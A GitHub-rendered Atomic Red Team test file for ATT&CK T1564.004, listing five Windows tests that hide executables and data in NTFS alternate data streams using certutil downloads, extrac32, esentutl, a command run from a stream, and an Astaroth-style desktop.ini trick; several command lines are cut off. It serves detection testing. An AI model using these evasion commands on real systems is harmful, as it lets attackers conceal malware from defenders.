Sign in

redcanaryco / **atomic-red-team** Public

Notifications | Fork 2.8k | Star 9.7k

Code | Issues 6 | Pull requests 5 | Actions | Wiki | Security | Insights

atomic-red-team / atomics / T1564.004 / **T1564.004.md**

242 lines (134 loc) · 7.74 KB

Preview | Code | Blame | Raw

T1564.004 - Hide Artifacts: NTFS File Attributes

Description from ATT&CK

> Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)
> Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)

Atomic Tests

- Atomic Test #1 - Alternate Data Streams (ADS)

- Atomic Test #2 - Store file in Alternate Data Stream (ADS)
- Atomic Test #3 - Create ADS command prompt
- Atomic Test #4 - Create ADS PowerShell
- Atomic Test #5 - Create Hidden Directory via $index_allocation

Atomic Test #1 - Alternate Data Streams (ADS)

Execute from Alternate Streams

Reference - 1

Reference - 2

Supported Platforms: Windows

auto_generated_guid: 8822c3b0-d9f9-4daf-a043-49f4602364f4

Inputs:

Name	Description	Type	Default Value
path	Path of ADS file	path	c:\ADS\

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log
extrac32 #{path}\procexp.cab #{path}\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump #{path}\procexp.exe > #{path}\file.txt:procexp.
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/redcanaryco/ato
makecab #{path}\autoruns.exe #{path}\cabtest.txt:autoruns.cab
print /D:#{path}\file.txt:autoruns.exe #{path}\Autoruns.exe
reg export HKLM\SOFTWARE\Microsoft\Evilreg #{path}\file.txt:evilreg.reg
regedit /E #{path}\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
expand \\webdav\folder\file.bat #{path}\file.txt:file.bat
esentutl.exe /y #{path}\autoruns.exe /d #{path}\file.txt:autoruns.exe /o
```

Atomic Test #2 - Store file in Alternate Data Stream (ADS)

Storing files in Alternate Data Stream (ADS) similar to Astaroth malware. Upon execution cmd will run and attempt to launch desktop.ini. No windows remain open after the test

Supported Platforms: Windows

auto_generated_guid: 2ab75061-f5d5-4c1a-b666-ba2a50df5b02

Inputs:

Name	Description	Type	Default Value
payload_path	Path of file to hide in ADS	path	c:\windows\system32\cmd.exe
ads_file_path	Path of file to create an ADS under	path	C:\Users\Public\Libraries\yanki\desktop.ini
ads_name	Name of ADS	string	desktop.ini

Attack Commands: Run with `powershell`!

```
if (!(Test-Path C:\Users\Public\Libraries\yanki -PathType Container)) {
    New-Item -ItemType Directory -Force -Path C:\Users\Public\Libraries\yanki
    }
Start-Process -FilePath "$env:comspec" -ArgumentList "/c,type,#{payload_path},>,`"
```

Cleanup Commands:

```
Remove-Item "#{ads_file_path}" -Force -ErrorAction Ignore
```

Atomic Test #3 - Create ADS command prompt

Create an Alternate Data Stream with the command prompt. Write access is required. Upon execution, run "dir /a-d /s /r | find ":$DATA"" in the %temp% folder to view that the alternate data stream exists. To view the data in the alternate data stream, run "notepad T1564.004_has_ads.txt:adstest.txt"

Supported Platforms: Windows

auto_generated_guid: 17e7637a-ddaf-4a82-8622-377e20de8fdb

Inputs:

Name	Description	Type	Default Value
file_name	File name of file to create ADS on.	string	%temp%\T1564.004_has_ads_cmd.txt
ads_filename	Name of ADS.	string	adstest.txt

Attack Commands: Run with `command_prompt`!

```
echo cmd /c echo "Shell code execution."> #{file_name}:#{ads_filename}
for /f "usebackq delims=?" %i in (#{file_name}:#{ads_filename}) do %i
```

Cleanup Commands:

```
del #{file_name} >nul 2>&1
```

Atomic Test #4 - Create ADS PowerShell

Create an Alternate Data Stream with PowerShell. Write access is required. To verify execution, the the command "ls -Recurse | %{ gi $_.Fullname -stream *} | where stream -ne ':$Data' | Select-Object pschildname" in the %temp% direcotry to view all files with hidden data streams. To view the data in the alternate data stream, run "notepad.exe T1564.004_has_ads_powershell.txt:adstest.txt" in the %temp% folder.

Supported Platforms: Windows

auto_generated_guid: 0045ea16-ed3c-4d4c-a9ee-15e44d1560d1

Inputs:

Name	Description	Type	Default Value
file_name	File name of file to create ADS on.	string	$env:TEMP\T1564.004_has_ads_powershell.txt
ads_filename	Name of ADS file.	string	adstest.txt

Attack Commands: Run with `powershell`!

```
echo "test" > #{file_name} | set-content -path test.txt -stream #{ads_filename} -va
set-content -path #{file_name} -stream #{ads_filename} -value "test2"
set-content -path . -stream #{ads_filename} -value "test3"
```

Cleanup Commands:

```
Remove-Item -Path #{file_name} -ErrorAction Ignore
```

Dependencies: Run with `powershell`!

Description: The file must exist on disk at specified location (#{file_name})

Check Prereq Commands:

```
if (Test-Path #{file_name}) { exit 0 } else { exit 1 }
```

Get Prereq Commands:

```
New-Item -Path #{file_name} | Out-Null
```

Atomic Test #5 - Create Hidden Directory via $index_allocation

Create an Alternate Data Stream Directory and File with the command prompt. Write access is required. Upon execution, run "dir /A /Q /R" in the %temp% folder to view that the alternate data stream folder exists. To view the data in the
alternate data stream, run "type %temp%...$.......::$index_allocation\secrets.txt"

Supported Platforms: Windows

auto_generated_guid: 3e6791e7-232c-481c-a680-a52f86b83fdf

Inputs:

Name	Description	Type	Default Value
folder_name	File name of file to create inside the folder.	string	%temp%\...$.......::$index_allocation
hidden_filename	Name of the files containing the hidden information	string	secrets.txt

Attack Commands: Run with `command_prompt`!

```
md #{folder_name}
echo too many secrets > #{folder_name}\#{hidden_filename}
```

Cleanup Commands:

```
rmdir /S /Q #{folder_name} >nul 2>&1
```